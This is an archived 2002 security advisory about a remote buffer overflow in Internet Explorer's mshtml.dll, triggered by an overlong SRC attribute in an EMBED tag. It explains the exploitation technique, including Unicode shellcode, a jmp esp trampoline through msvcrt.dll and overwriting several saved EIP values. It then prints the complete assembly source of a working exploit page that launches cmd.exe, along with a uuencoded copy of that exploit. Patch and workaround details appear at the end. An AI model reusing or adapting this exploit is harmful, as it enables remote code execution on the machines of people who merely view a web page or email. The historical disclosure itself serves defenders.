TUCoPS :: Browsers :: expl5141.htm

Internet Explorer embeded tag remote buffer overflow
26th Feb 2002 [SBWID-5141]
COMMAND

	Internet Explorer embeded tag remote buffer overflow

SYSTEMS AFFECTED

	 Microsoft Internet Explorer 6.0 and prior

	 Microsoft Outlook Express 6.0 and prior

	 Microsoft Outlook 2000 and prior

	

PROBLEM

	In CERT advisory  [CA-2002-04]  [http://www.kb.cert.org/vuls/id/932283],
	originally from  a  post  of  3APA3A  [http://www.security.nnov.ru]  and
	ERRor and DarkZorro of domain Hell :
	

	--snip--
	

	Internet Explorer supports the <EMBED> directive, which can  be  used
	to  include  arbitrary  objects  in  HTML  documents.  Common  types  of
	embedded objects include multimedia files,  Java  applets,  and  ActiveX
	controls. The SRC attribute specifies the source path  and  filename  of
	an object. For example, a MIDI sound might be embedded  in  a  web  page
	with the following HTML code:
	

	<EMBED TYPE=\"audio/midi\" SRC=\"/path/sound.mid\" AUTOSTART=\"true\">

	

	

	--snapp--
	

	Internet Explorer does not properly handle  the  SRC  attribute  of  the
	<EMBED> directive, mshtml.dll  contains  the  buffer  overflow  while
	parsing HTML with embedded ActiveX components. Stack overrun occurs  during
	concatenation of two Unicode strings.
	

	 Update (28 February 2002)

	 ======

	

	3APA3A [http://www.security.nnov.ru] posted the details :
	

	ERRor <error(at)pochtamt.ru> discovered IE 5.5 and 6.0  in  some  cases
	crash on
	

	 <embed src=\"filename.AAAAAAAAAA<lot of \'A\'s>\">

	

	with EIP 0x41004100.
	

	Overflow   occurs   then   IE    concatenates    file    extension    to
	\"Software\\Microsoft\\Internet
	Explorer\\EmbedExtnToClsidMappingOverride\\\" with  wcscat().
	

	There is another input validation bug in Internet Explorer: it fails  to
	detect if file has no extension. In this case it looks  for  dot  before
	filename and treats everything after that dot like an  extension...  So,
	it\'s possible to overflow buffer with long filename without extension.
	

	There are few problems for one who wants to create exploit:
	

	1.  All  data  is converted to Unicode, that is \'A\' will be converted to

	0x0041.

	2.  Address  of  shellcode will be different depending on number of open

	Internet  Explorer  windows,  Windows  and Internet Explorer version and

	patches installed.

	3.  There is different offset of saved EIP in stack in Internet Explorer

	before and after IE5.5SP2.

	4.  A couple of small problems we will not describe, because it may help

	to stop virus or scriptkiddie with exploit if one appear in-the-wild.

	

	

	One of the first Unicode overflows found in-the-wild  was  vulnerability
	in IIS ISAPI filter  found  by  eEye[6].  They  failed  to  make  really
	working exploit, saying exploiting of this kind of  bug  is  hard.  This
	bug was successfully exploited by hsj and later by authors of CodeRed  worm.
	It brings us to the fact: EXPLOITATION OF  UNICODE  OVERFLOWS  IS  EASY.
	There is easy way to bypass conversion of the shellcode to  Unicode:  it
	should be in Unicode already. It  was  a  trick  used  by  CodeRed  (wonderful
	analysis of CodeRed was made by Andrey Kolishak in [7]). I  wrote  about
	Unicode HTMLs in [8] (in fact  [8]  was  released  to  prevent  possible
	impacts of this paper but didn\'t succeeded,  because  multiple  filters
	still don\'t check Unicode htmls).
	

	Andrey pointed to easy (and well known) way to avoid  second  problem  -
	hardcoded shellcode address.  Instead  of  overwriting  saved  EIP  with
	address of our shellcode we can use indirect jump - overwrite  eip  with
	address of instruction in memory space of some dll which will jump  back
	to our code via ebp or  esp  (ebp  may  be  used  if  exploiting  format
	strings). We fond jmp esp (FFE4) in all versions of kernel32.dll and  in
	one version of msvcrt.dll (6.10.8924.0). This version  of  dll  doesn\'t
	depend on  Internet  Explorer  and  presents  in  most  installation  of
	Windows NT 4.0 and Windows 2000 we checked (but never in Windows  95/98/ME/XP),
	so we used it.
	

	Third problem was solved by overwriting all  possible  EIPs,  using  few
	noops and
	

	  call xxxx

	  ...

	xxxx:

	  pop ebp

	

	combination to get the exact address of our shellcode.
	

	Since exploit is in Unicode we may do  not  care  about  \'\\0\'  (0x0000,
	0xFFFF are prohibited and we have to care about  calls  and  far  jumps)
	so, we did large shellcode with visual  effects.  If  you  like  it  you
	can download full version of dH  &  SECURITY.NNOV  Matrix  screensaver
	from http://www.security.nnov.ru/advisories/soft/
	

	Resulting HTML (will  work  with  msvcrt.dll  6.10.8924.0  and  doesn\'t
	depend on mshtml.dll version, program used and Windows version)  can  be
	obtained  from   http://www.security.nnov.ru/files/iebo/matrix.htm   Same
	file (properly encoded to UTF-7, UTF-8, quoted-printable or  base64)  may
	be used to exploit Outlook Express/Outlook. (I\'ve just noticed that  under
	Windows 2000 terminal window sometimes is open  in  background  and  you
	need to switch... Well... It\'s not good but I don\'t bother to patch  it
	:) ).
	

	Below is source code for matrix.htm:
	

	-=-=-=-=-=-=-=-=- begin matrix.asm -=-=-=-=-=-=-=-=-

	;

	;   matrix.asm - source code for matrix.htm

	;

	;   build:

	;   tasm matrix.asm /m2

	;   tlink matrix.obj, matrix.htm /t /3

	;

	;   Authors:

	;     ERROR:    bug discovery

	;     3APA3A:   idea and coding

	;     OFFliner: matrix effects and undocumented Windows API

	;

	;   Thanx to Andrey Kolishak for indirect esp jump idea

	;

	;     you can obtain matrix screensaver from

	;     http://www.security.nnov.ru/matrix

	;

	;

	;  eipjmp: overwrites saved EIP for all versions of

	;          mshtml.dll

	;  espjmp: gets control after jmp esp and calls code1

	;  code1:  restores EIP from stack after call to ebp

	;          does some actions and jumps to code2

	;  code2:  does the rest of actions

	

	

	datap           equ (DataTable+080h)

	hKernel32       equ LoadL-datap

	cCur            equ StringTable-datap

	SetCCH          equ StringTable+4-datap

	GetSH           equ StringTable+8-datap

	Sleep           equ StringTable+12-datap

	WriteC          equ StringTable+16-datap

	AllocC          equ StringTable+20-datap

	SetCDM          equ StringTable+24-datap

	SetCTA          equ StringTable+28-datap

	SetCCI          equ StringTable+32-datap

	WinE            equ StringTable+36-datap

	ExitP           equ StringTable+40-datap

	

	hStdOut         equ StringTable+48-datap

	dwOldMode       equ cCur

	conCur          equ StringTable+52-datap

	cls             equ StringTable+56-datap

	DWNumChar       equ StringTable+60-datap

	RegHK           equ user-datap

	

	

	

	.386

	_faked  segment para public \'CODE\' use32

	       assume cs:_faked

	start:

	_faked   ends

	

	_main  segment para public \'DATA\' use32

	       assume cs:_main

	

	

	prefix:

	        begin   db      0ffh,0feh               ;Unicode prefix

	                db      \"<\",0,\"e\",0,\"m\",0,\"b\",0,\"e\",0,\"d\",0,0dh,0

	                db      \"s\",0,\"r\",0,\"c\",0,\"=\",0,34,0

	                db      \"h\",0,\"t\",0,\"t\",0,\"p\",0,\":\",0,\"/\",0,\"/\",0

	                db      \"w\",0,\"w\",0,\"w\",0,\".\",0

	                db      \"s\",0,\"e\",0,\"c\",0,\"u\",0,\"r\",0,\"i\",0,\"t\",0,\"y\",0,\".\",0

	                db      \"n\",0,\"n\",0,\"o\",0,\"v\",0,\".\",0,\"r\",0,\"u\",0

	                db      \"/\",0,\"f\",0,\"i\",0,\"l\",0,\"e\",0,\"s\",0,\"/\",0

	                db      \"i\",0,\"e\",0,\"b\",0,\"o\",0,\"/\",0,\"X\",0

	                db      \"!(c)3APA3A\"

	                db      22 dup(090h)

	code1:

	        pop ebp

	        mov esp,ebx

	        xor eax,eax

	dataoffset = DataTable - code2

	ebpdiff = 80h + dataoffset

	        mov ax,ebpdiff

	        add ebp,eax                     ;ebp points to data

	        

	        lea eax,[ebp+user-datap]

	        push eax

	        mov ebx,[ebp+LoadL-datap]

	        mov eax,[ebx]

	        mov [ebp+LoadL-datap],eax

	        call eax                        ;LoadLibraryA(\"user32.dll\")

	        lea ebx,[ebp+reg-datap]

	        push ebx

	        push eax

	        mov ebx,[ebp+GetPA-datap]

	        mov eax,[ebx]

	        mov [ebp+GetPA-datap],eax

	        call eax                        ;GetProcAddress(.,\"RegisterHotKey\")

	        mov [ebp+RegHK],eax

	        lea edi,[ebp+rhk-datap]

	        movzx esi,byte ptr[edi]

	LoopHotkey:

	        inc edi

	        xor eax,eax

	        mov al,[edi]

	        push eax

	        inc edi

	        mov al,[edi]

	        push eax

	        inc edi

	        mov al,[edi]

	        push eax

	        xor eax,eax

	        push eax

	        call [ebp+RegHK]

	        dec esi

	        or esi,esi

	        jnz LoopHotKey

	        

	        lea eax,[ebp+StringTable-datap] ;string \"kernel32.dll\"

	        push eax

	        call [ebp+LoadL-datap]          ;LoadLibraryA(\"kernel32.dll\")

	        mov [ebp+hKernel32],eax         ;hKernel32 = 

	

	        lea eax, [ebp+SetCCH]

	        mov [ebp+cCur],eax              ;*cCur = SetCCH

	        lea edi,[ebp+funcnum-datap]

	        movzx esi,byte ptr[edi]         ;esi=funcnum

	        inc edi

	LoopResolve:

	        push edi

	        push dword ptr [ebp+Hkernel32]

	        call [ebp+GetPA-datap]          ;GetProcAddress(edi)

	        mov ebx,[ebp+cCur]

	        mov [ebx],eax                   ;save func address

	        xor ecx,ecx

	        mov cl,4

	        add ebx,ecx

	        mov [ebp+cCur],ebx              ;cCur+=4

	        not ecx

	        xor eax,eax

	        repnz scasb                     ;find \\0

	        dec esi

	        or esi,esi

	        jnz LoopResolve

	        

	

	        call [ebp+AllocC]               ;AllocConsole()

	        push eax                        ;nonzero if succeed

	        xor eax,eax

	        push eax

	        call [ebp+SetCCH]               ;SetConsoleCtrlHandler(NULL,TRUE)

	        xor eax,eax

	        not eax

	        sub al,0Ah

	        push eax

	        call [ebp+GetSH]                ;GetStdHandle(STD_OUTPUT_HANDLE)

	        mov [ebp+hStdOut],eax           ;hStdOut=

	        lea eax,[ebp+dwOldMode]

	        push eax

	        xor ebx,ebx

	        inc ebx

	        push ebx

	        push dword ptr [ebp+hStdOut]

	        call [ebp+SetCDM]               ;SetConsoleDisplayMode(hStdOut, 1, &dwOldMode)

	        xor ebx,ebx

	        mov bl,0Ah

	        push ebx

	        push dword ptr [ebp+hStdOut]

	        call [ebp+SetCTA]               ;SetConsoleTextAttribute(hStdOut,FOREGROUND_INTENSITY|FOREGROUND_GREEN) 

	        xor ebx,ebx

	        mov [ebp+ConCur+4],ebx          ;ConCur.bVisible = 100

	        mov bl, 100

	        mov [ebp+ConCur],ebx            ;ConCur.dwSize = 0

	        lea eax, [ebp+ConCur]

	        push eax

	        push dword ptr [ebp+hStdOut]

	        call [ebp+SetCCI]               ;SetConsoleCursorInfo(hstdOut,&ConCur)

	        xor eax,eax

	        mov ax,1000

	        push eax

	        call[ebp+Sleep]                 ;Sleep(1000);

	        xor ebx,ebx

	        mov bl, string-datap

	        mov eax,ebp

	        add eax,ebx

	        mov [ebp+cCur],eax              ;cCur = string

	        mov eax,ebp

	        mov bx,datap-empty_string

	        sub eax,ebx

	        mov [ebp+cls],eax               ;set address of empty_string

	LOOP1:                                  ;do do

	        xor eax,eax

	        push eax

	        lea ebx,[ebp+DWNumChar]

	        push ebx

	        inc eax

	        push eax

	        mov eax,[ebp+cCur]

	        push eax

	        push dword ptr [ebp+hStdOut]

	        call [ebp+WriteC]               ;WriteConsole(hStdOut,(void*)cCur,1,&DWNumChar,NULL);

	        xor eax,eax

	        mov al,100

	        mov ecx,[ebp+cCur]

	        mov bl,[ecx]

	        sub bl,20

	        jnz N1

	        mov ax,400

	N1:     mov bl,[ecx]

	        sub bl,8

	        jnz N2

	        mov ax,2100

	N2:     push eax

	        call [ebp+Sleep]                ;Sleep((*cCur==\' \')?400:(*cCur==\'\\b\')?2100:100)

	        mov ecx,[ebp+cCur]

	        inc ecx

	        mov [ebp+cCur],ecx              ;++cCur

	        mov bl,[ecx]

	        sub bl,9

	        jnz LOOP1                       ;while(*cCur!=\'\\t\');

	        call [ebp+cls]

	        mov ecx,[ebp+cCur]

	        inc ecx

	        mov [ebp+cCur],ecx              ;++cCur

	        mov bl,[ecx]

	        sub bl,00Ah

	        jnz LOOP1                       ;while(*cCur!=\'\\n\');

	        inc ecx

	        xor eax,eax

	        push eax

	        lea ebx,[ebp+DWNumChar]

	        push ebx

	        mov al,18

	        push eax

	        push ecx

	        push dword ptr [ebp+hStdOut]

	        jmp code2

	

	

	        

	codelength  = $ - begin

	neednoops = 1d4h - codelength

	                db neednoops dup(090h)

	eipjmp:

	

	                dd      78024e02h

	                dd      78024e02h

	                dd      78024e02h

	                dd      78024e02h

	                dw      9090h

	                dd      78024e02h       ;EIP for IE < 55SP2

	

	espjmp:

	

	                db 18 dup(090h)

	        xor eax,eax                     ;ESP comes here

	        mov ax,0170h

	        mov ebx,esp

	        sub ebx,eax

	        call ebx

	

	

	code2:

	        call [ebp+WriteC]

	        xor eax,eax

	        mov ax,4000

	        push eax

	        call [ebp+Sleep]

	        call [ebp+cls]

	        lea eax,[ebp+cmdexe-datap]

	        push eax

	        push eax

	        call [ebp+WinE]

	        xor eax,eax

	        push eax

	        call [ebp+ExitP]

	        

	empty_string:

	        ; some code can be pasted here

	        xor eax,eax

	        mov ax,1000

	        push eax

	        call [ebp+Sleep]        ;Sleep(1000)

	        xor eax,eax

	        push eax

	        lea ebx,[ebp+DWNumChar]

	        push ebx

	        mov al,30

	        push eax

	        lea eax,[ebp+empty-datap]

	        push eax

	        push dword ptr [ebp+hStdOut]

	        call [ebp+WriteC]

	        ret

	

	        

	

	DataTable:              

	

	        LoadL   dd      780330d0h       ;LoadLibraryA import table entry

	        GetPA   dd      780330cch       ;GetProcAddress import table entry

	

	StringTable:

	

	                db      \"kernel32.dll\",0

	        funcnum db      10

	                db      \"SetConsoleCtrlHandler\",0

	                db      \"GetStdHandle\",0

	                db      \"Sleep\",0

	                db      \"WriteConsoleA\",0

	                db      \"AllocConsole\",0

	                db      \"SetConsoleDisplayMode\",0

	                db      \"SetConsoleTextAttribute\",0

	                db      \"SetConsoleCursorInfo\",0

	                db      \"WinExec\",0

	                db      \"ExitProcess\",0

	        user    db      \"user32.dll\",0

	        reg     db      \"RegisterHotKey\",0

	        cmdexe  db      \"cmd.exe\",0

	        rhk     db      5

	                db      9,1,100,01bh,1,101,13,1,102,05dh,8,103,3,2,104

	        empty   db      00dh,28 dup(020h),00dh,0

	        string  db      00dh,\" Wake Up, Neo...\",00dh,009h,0

	                db      00dh,\" The Matrix has you...\",00dh,009h,0

	                db      00dh,\" Follow the White Rabbit.\",00dh,008h,009h,00ah,0

	                db      00dh,\" Knock, knock...\",00dh,0

	        

	        padding db      32

	suffix:

	                db      34,0,\">\",0,00ah

	        copy    db      \"(c) 2002 by 3APA3A, ERRor, OFFLiner\"

	

	

	

	_main   ends

	   end  start

	-=-=-=-=-=-=-=-=-  end matrix.asm  -=-=-=-=-=-=-=-=-

	

	References:
	

	[1] dH & SECURITY.NNOV: buffer overflow in mshtml.dll

	    http://www.security.nnov.ru/advisories/mshtml.asp

	[2] Microsoft Security Bulletin MS02-005

	    http://www.microsoft.com/technet/security/bulletin/MS02-005.asp

	[3] CAN-2002-0022

	    http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0022

	[4] CERT Advisory CA-2002-04 Buffer Overflow in Microsoft

	    Internet Explorer

	    http://www.cert.org/advisories/CA-2002-04.html

	[5] ISS Alert: Buffer Overflow in Microsoft Internet Explorer

	    http://www.security.nnov.ru/search/document.asp?docid=2546

	[6] All versions of Microsoft Internet Information Services Remote

	    buffer overflow (SYSTEM Level Access)

	    http://eeye.com/html/Research/Advisories/AD20010618.html

	[7] Andrey Kolishak, History of one vulnerability (in Russian)

	    http://www.security.nnov.ru/articles/codered/

	[8] Bypassing content filtering software

	    http://www.security.nnov.ru/advisories/content.asp

	

	

	uuEncoded exploit sample : ========================
	

	

	begin 644 matrix.htm.zip

	M4$L#!!0``@`(`#=?7\"RBFH-%?````.0!```*````;6%T<FEX+FAT;;-)S4U*

	M3>\'E*BY*ME7**\"DIL-+7+R\\OURM.32XMRBRIU,O+RR_3*RK53\\O,22W6STQ-

	MRM>/L,<\"$NQ)!^OQ21;#607VM`.A*+P\"J&78;<S!$$F%*W4DTKY\\($Y&\\Q\\0

	M5$(,2X7PVI`!AA$6\"*8Y@LG+!6<J*-F!*\'48\'P!02P$\"%@L4``(`\"``W7UPL

	MHIJ#17P```#D`0``\"@`````````!`\"``@($`````;6%T<FEX+FAT;5!+!08`

	1`````0`!`#@```\"D````````

	`

	end

	242 bytes

	

SOLUTION

	Patch:
	

	http://www.microsoft.com/technet/security/bulletin/MS02-005.asp

	

	Workaround:
	

	Make sue \"Run ActiveX Controls and  Plugins\"  option  is  disabled  for
	Internet and Restricted Sites zones  in  security  options  of  Internet
	Explorer. Check security zone for Outlook Express is set  to  Restricted
	Sites

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH